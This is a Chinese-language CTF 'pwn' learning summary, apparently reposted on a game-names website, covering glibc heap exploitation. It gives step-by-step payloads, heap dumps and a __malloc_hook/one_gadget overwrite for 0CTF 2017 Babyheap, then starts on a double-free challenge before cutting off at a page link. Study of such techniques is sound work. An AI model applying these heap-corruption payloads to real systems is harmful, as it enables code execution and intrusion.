游戏名字  |  游戏名字 游戏名字大全
火星文转换器土星文转换器下载游戏名字大全游戏名字软件下载QQ个性签名
当前位置:主页 > 文章中心 > 黑客编程 >

CTF PWN堆溢出总结

时间:2018-07-06 09:46 来源:未知 作者:admin666

学习汇总
序言
自从加入RTIS交流群, 在7o8v师傅,gd大佬的帮助下,PWN学习之路进入加速度。下面是八周学习的总结,基本上是按照how2heap路线走的。由于八周内容全写,篇幅太长,这里只讲述每道PWN题所用到的一个知识点。
第一节(fastbin_dup_into_stack)
知识点
利用fastbin之间,单链表的连接的特性, 溢出修改下一个free chunk的地址, 造成任意地址写.
例子: 0CTF 2017 Babyheap
Fill功能可以填充任意长字节, 漏洞在此.
leak memory: libc address
modify __malloc_hook内容为one_gadget
getshell
重点: fastbin attack
First Step
alloc(0x60)
alloc(0x40)
0x56144ab7e000: 0x0000000000000000  0x0000000000000071 --> chunk0 header
0x56144ab7e010: 0x0000000000000000  0x0000000000000000
0x56144ab7e020: 0x0000000000000000  0x0000000000000000
0x56144ab7e030: 0x0000000000000000  0x0000000000000000
0x56144ab7e040: 0x0000000000000000  0x0000000000000000
0x56144ab7e050: 0x0000000000000000  0x0000000000000000
0x56144ab7e060: 0x0000000000000000  0x0000000000000000
0x56144ab7e070: 0x0000000000000000  0x0000000000000051 --> chunk1 header
0x56144ab7e080: 0x0000000000000000  0x0000000000000000
0x56144ab7e090: 0x0000000000000000  0x0000000000000000
Second Step
Fill(0x10, 0x60 + 0x10, "A" * 0x60 + p64(0) + p64(0x71)) --> 开始破坏chunk1 header
0x56144ab7e000: 0x0000000000000000  0x0000000000000071
0x56144ab7e010: 0x6161616161616161  0x6161616161616161
0x56144ab7e020: 0x6161616161616161  0x6161616161616161
0x56144ab7e030: 0x6161616161616161  0x6161616161616161
0x56144ab7e040: 0x6161616161616161  0x6161616161616161
0x56144ab7e050: 0x6161616161616161  0x6161616161616161
0x56144ab7e060: 0x6161616161616161  0x6161616161616161
0x56144ab7e070: 0x0000000000000000  0x0000000000000071  --> 已修改为0x71
0x56144ab7e080: 0x0000000000000000  0x0000000000000000
Third Step: 申请small chunk
0x56144ab7e060: 0x6161616161616161  0x6161616161616161
0x56144ab7e070: 0x0000000000000000  0x0000000000000071
0x56144ab7e080: 0x0000000000000000  0x0000000000000000
0x56144ab7e090: 0x0000000000000000  0x0000000000000000
0x56144ab7e0a0: 0x0000000000000000  0x0000000000000000
0x56144ab7e0b0: 0x0000000000000000  0x0000000000000000
0x56144ab7e0c0: 0x0000000000000000  0x0000000000000111 --> chunk2 header
Fouth Step: 破坏chunk2 header, 最后目的是释放chunk2
Fill(2, 0x20, 'c' * 0x10 + p64(0) + p64(0x71)) --> fake chunk header
Free(1)
Alloc(0x60)
0x56144ab7e000: 0x0000000000000000  0x0000000000000071
......
0x56144ab7e060: 0x6161616161616161  0x6161616161616161
0x56144ab7e070: 0x0000000000000000  0x0000000000000071
......
0x56144ab7e0e0: 0x0000000000000000  0x0000000000000071 --> fake chunk header
Fifth Step: 修复chunk2 header, free
Fill(1, 0x40 + 0x10, 'b' * 0x60 + p64(0) + p64(0x111)) --> 修复chunk2
Free(2)
Dump(1)
0x56144ab7e060: 0x6161616161616161  0x6161616161616161
0x56144ab7e070: 0x0000000000000000  0x0000000000000071
0x56144ab7e080: 0x6262626262626262  0x6262626262626262
0x56144ab7e090: 0x6262626262626262  0x6262626262626262
......
0x56144ab7e0c0: 0x0000000000000000  0x0000000000000111
0x56144ab7e0d0: 0x00007f26abbacb78  0x00007f26abbacb78 --> 指向libc中的某地址(程序使用的是write, 将内容全部打印, 不会出现\x00截止)
0x56144ab7e0e0: 0x0000000000000000  0x0000000000000071
Sixth Step: 修改下一个free chunk为__malloc_hook
Free(1)  
payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 27 - 0x8) + p64(0) # fake     chunk + 修改修改的地址Fill(0, 0x60 + 0x10 + 0x10, payload)
详解解析
文件下载
第二节(fastbin_dup_consolidate)
知识点
当topchunk size不足以满足申请的大小, 会合并fastbin的空闲chunk. 如若在不足: 主分配区调用sbrk, 增加top chunk大小; 非主分配区调用mmap来分配一个新的sub-heap.
got表中存放着函数的真实地址, 函数调用会去got表中查找函数地址, 然后跳转.修改got表对应函数的地址, 达到getshell目的.
double free: 释放两次内存, 可与Unlink搭配实现任意地址读写.
栗子:HITCON CTF 2016 SleepyHolder
程序分析
可以选择申请40, 4000, 400000三种不同大小的堆块, 每种只能申请一个. 400000会清空fastbin.  删除: 将相应的标志位置位0修改, 不检查相应的指针是否已释放, 造成Double Free.
重点
演示过程:
申请small secret、big secret
删除small secret
申请large secret
申请large secret之前

之后

[1] [2] [3]  下一页

上一篇:利用通配符进行Linux本地提权
下一篇:没有了

友情链接
Copyright © 2003-2008 游戏名字大全. All Rights Reserved
页面执行时间:1,078.12500 毫秒
网络游戏名字大全(youximingzi),好听的个性游戏名字,好听的搞笑游戏名字,好听的英文游戏名字,好听的游戏情侣名字尽在 www.hack59.com 蜀ICP备14021772号-7